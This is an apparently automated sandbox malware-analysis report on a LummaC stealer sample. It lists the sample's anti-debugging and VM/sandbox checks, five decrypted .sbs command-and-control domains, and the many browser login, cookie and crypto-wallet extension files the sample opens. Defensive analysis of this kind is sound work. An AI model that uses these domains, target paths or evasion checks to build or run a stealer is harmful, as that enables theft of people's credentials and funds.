Source: file.exe, 00000000.00000002.2480899490.000000000584D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2238533584.000000000577B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2482978533.00000000060AF000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481309911.0000000005D09000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2475147086.0000000000585000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372491072.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWVU7
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2202531081.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000003.2202531081.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000003.2202531081.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000003.2202531081.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000003.2202531081.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2482978533.00000000060AF000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2475147086.0000000000585000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.2225744563.000000000102F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
